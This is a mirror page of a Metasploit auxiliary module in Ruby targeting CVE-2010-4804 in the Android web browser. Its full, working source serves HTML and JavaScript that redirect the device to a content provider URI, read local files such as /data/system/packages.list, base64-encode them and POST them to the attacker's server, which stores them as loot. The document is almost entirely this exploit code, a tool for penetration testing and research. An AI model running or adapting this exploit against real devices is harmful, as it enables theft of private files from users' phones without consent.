CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/gather/android_htmlfileprovider.rb
Views: 11780
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HttpServer::HTML
8
include Msf::Auxiliary::Report
9
10
def initialize(info = {})
11
super(update_info(info,
12
'Name' => 'Android Content Provider File Disclosure',
13
'Description' => %q{
14
This module exploits a cross-domain issue within the Android web browser to
15
exfiltrate files from a vulnerable device.
16
},
17
'Author' =>
18
[
19
'Thomas Cannon', # Original discovery, partial disclsoure
20
'jduck' # Metasploit module
21
],
22
'License' => MSF_LICENSE,
23
'Actions' =>
24
[
25
[ 'WebServer' ]
26
],
27
'PassiveActions' =>
28
[
29
'WebServer'
30
],
31
'References' =>
32
[
33
[ 'CVE', '2010-4804' ],
34
[ 'URL', 'http://thomascannon.net/blog/2010/11/android-data-stealing-vulnerability/' ]
35
],
36
'DefaultAction' => 'WebServer'))
37
38
register_options(
39
[
40
OptString.new('FILES', [ false, "The remote file(s) to steal",
41
'/proc/version,/proc/self/status,/data/system/packages.list' ])
42
])
43
end
44
45
def on_request_uri(cli, request)
46
print_status("Request '#{request.method} #{request.uri}'")
47
selected_headers = [ 'user-agent', 'origin', 'referer' ]
48
request.headers.each_key { |k|
49
next if not selected_headers.include? k.downcase
50
print_status("#{k}: #{request.headers[k]}")
51
}
52
53
return process_post(cli, request) if request.method == "POST"
54
55
# Only GET requests now..
56
if request.uri =~ /\.html?$/
57
filename = request.uri.split('/').last
58
target_files = datastore['FILES'].split(',').map{ |e|
59
"'%s'" % e
60
}.join(',')
61
62
upload_url = get_uri(cli)
63
upload_url << '/' if upload_url[-1,1] != '/'
64
upload_url << 'q'
65
66
html = <<-EOS
67
<html>
68
<body>
69
<script lang=javascript>
70
var target_files = Array(#{target_files});
71
var results = new Array();
72
function addField(form, name, value) {
73
var hf = document.createElement('input');
74
hf.setAttribute('type', 'hidden');
75
hf.setAttribute('name', name);
76
hf.setAttribute('value', value);
77
form.appendChild(hf);
78
}
79
function uploadFiles(files) {
80
var form = document.createElement('form');
81
form.setAttribute('method', 'POST');
82
form.setAttribute('action', '#{upload_url}');
83
var i = 0;
84
for (var fn in files) {
85
addField(form, 'f'+i, btoa(fn));
86
addField(form, 'd'+i, files[fn]);
87
i += 1;
88
}
89
document.body.appendChild(form);
90
form.submit();
91
}
92
for (var fn in target_files) {
93
fn = target_files[fn];
94
xh = new XMLHttpRequest();
95
xh.open('GET', fn, false);
96
xh.onreadystatechange = function() { if (xh.readyState == 4) { results[fn] = btoa(xh.responseText); } }
97
xh.send();
98
}
99
uploadFiles(results);
100
</script>
101
</body>
102
</html>
103
EOS
104
105
print_status("Sending payload HTML ...")
106
send_response_html(cli, html,
107
{
108
'Cache-Control' => 'public',
109
'Content-Description' => 'File Transfer',
110
'Content-Disposition' => "attachment; filename=#{filename}",
111
'Content-Transfer-Encoding' => 'binary',
112
'Content-Type' => 'text/html'
113
})
114
115
116
else
117
payload_fn = Rex::Text.rand_text_alphanumeric(4+rand(8))
118
119
html = <<-EOS
120
<html>
121
<body>
122
<script lang=javascript>
123
setTimeout("document.location = 'content://com.android.htmlfileprovider/sdcard/download/#{payload_fn}.html';", 5000);
124
setTimeout("document.location = '#{payload_fn}.html';", 500);
125
</script>
126
</body>
127
</html>
128
EOS
129
130
print_status("Sending initial HTML ...")
131
send_response_html(cli, html)
132
133
end
134
end
135
136
def process_post(cli, request)
137
138
results = {}
139
140
if request and request.body
141
request.body.split('&').each { |var|
142
parts = var.split('=', 2)
143
if parts.length != 2
144
print_error("Weird, we got a var that doesn't contain an equals: #{parts.inspect}")
145
else
146
fln,fld = parts
147
fld = Rex::Text.uri_decode(fld).unpack('m').first
148
start = fln.slice!(0,1)
149
if start == "f"
150
results[fln] ||= {}
151
results[fln][:filename] = fld
152
elsif start == "d"
153
results[fln] ||= {}
154
results[fln][:data] = fld
155
end
156
end
157
}
158
end
159
160
results.each_key { |k|
161
e = results[k]
162
fn = e[:filename]
163
data = e[:data]
164
print_good("#{fn.inspect} contains #{data.inspect}")
165
166
fn.gsub!(/[\/\\]/, '.')
167
fn.gsub!(/^\./, '')
168
store_loot('android.fs.'+fn, 'application/octet-stream', cli.peerhost, data, fn)
169
}
170
171
send_response_html(cli, "thx")
172
end
173
174
def run
175
exploit()
176
end
177
end
178
179